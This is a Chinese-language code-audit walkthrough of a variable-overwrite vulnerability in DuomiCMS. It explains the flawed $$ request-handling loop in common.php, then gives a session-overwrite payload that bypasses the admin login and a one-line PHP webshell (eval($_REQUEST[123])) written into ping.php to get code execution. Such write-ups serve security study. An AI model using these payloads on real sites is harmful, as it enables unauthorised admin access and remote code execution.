变量覆盖-doumi
目录
一.在系统配置中输入正则表达式\$\$,并命名为覆盖变量
二.用$$进行全局搜索
三.代码审计
四.搜索common.php的意思
五、全局搜索common.php
六、代码审计login.php
七、代码审计check.admin.php
八、构造payload准备
九、构造payload
十、获取webshell
找到foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);发现可能存在变量覆盖漏洞,因此进行代码审计
发现这两段代码
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
{
exit('Request var not allow!');
}
}
1.foreach($_REQUEST as $_k=>$_v): 遍历所有的 $_REQUEST 变量,其中 $_REQUEST 是一个超全局变量,包含了通过 GET、POST 和 COOKIE 方法发送到服务器的所有变量。
2.if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) ): 这个条件语句包含了三个条件:
(1)strlen($_k)>0: 确保键 ($_k) 的长度大于0,也就是说,它不是空字符串。
(2)m_eregi('^(cfg_|GLOBALS)',$_k): 使用 m_eregi 函数(注意,这不是 PHP 的标准函数)来检查 $_k 是否以 "cfg_" 或 "GLOBALS" 开头。
(3)!isset($_COOKIE[$_k]): 检查该键 ($_k) 是否不在 $_COOKIE 中。$_COOKIE 是 PHP 中存储客户端发送的 cookie 的数组。
3.exit('Request var not allow!');: 如果上述条件满足,代码将退出并显示 "Request var not allow!" 消息。
总的来说,这段代码检查了所有的 $_REQUEST 变量,如果某个变量的键长度大于0、以 "cfg_" 或 "GLOBALS" 开头,并且不在 $_COOKIE 中,那么代码将退出并显示 "Request var not allow!" 消息。
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
这段代码的意思是遍历array的请求,并将遍历请求的值给$_k => $_v,$_k 表示键,$_v表示值${$_k},表示将键变成变量并等于_RunMagicQuotes这个函数的$_v
继续审计_RunMagicQuotes
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}
1.首先,它检查 get_magic_quotes_gpc() 函数的返回值。这个函数返回一个布尔值,指示 "magic quotes" 功能是否已启用。如果 "magic quotes" 功能未启用(即 get_magic_quotes_gpc() 返回 false),则进入下一步处理。
2.如果 $svar 是一个数组,函数会使用 foreach 循环遍历数组的每个元素,并对每个元素递归调用 _RunMagicQuotes 函数。这样,数组中的每个元素都会被处理。
3.如果 $svar 不是一个数组,那么它会使用 addslashes() 函数来转义 $svar 中的特殊字符。addslashes() 函数会在单引号、双引号、反斜杠和 NUL(空字符)前添加反斜杠,从而实现对这些字符的转义。
4.最后,函数返回处理后的 $svar 值。
这里也没有变量,那么我们只能继续代码审计
这里的common.php就有可能也是核心文件,所以说会在其他文件里面被调用,因此这里我们就需要全局搜索common.php
这里抓住关键词login、index等因为我们需要的是绕过登录直接进入后台,那么登录后台一般存在在这些地方
这里使用到了session进行测试是否输入的用户名和密码是否正确,但是这个文件里面有没有使用session_start();,因此这里就需要找到include包含
Common.php我们已经找过了,因此需要找check.admin.php
发现session_start()被开启,证明可以使用session
因为我不知道session里面是什么内容,因此我们需要登录后台查看session内容
因为这里将session赋值了我们直接将session输出得到
找出session的内容为
Array
(
[duomi_ckstr] => zvaj
[duomi_ckstr_last] =>
[duomi_admin_id] => 1
[duomi_group_id] => 1
[duomi_admin_name] => admin
)
duomi_admin_id:管理员id
duomi_group_id:用户组id
duomi_admin_name:管理员名字
所以我们只需要构造payload将其中内容覆盖就可以绕过登录了
_SESSION[duomi_ckstr]=YTGC&_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin
再次输入www.duomi.com/admin/便进去了
说明绕过成功
找到全局 百度推送
这里出现了这个
如果修改无效,请检查/data/admin/ping.php文件权限是否可写。
因此我们可以猜测我们写入的内容会在/data/admin/ping.php这个文件中
写入fuck在这个文件中查找
发现真存在这个文件,那么这里我们尝试构造一句话木马
输入fuckfuck";eval($_REQUEST[123]);"
点击确认发现
这里一句话木马被写入进去了
访问/data/admin/ping.php
输入www.duomi.com/data/admin/ping.php?123=phpinfo();
证明已经拿到了webshell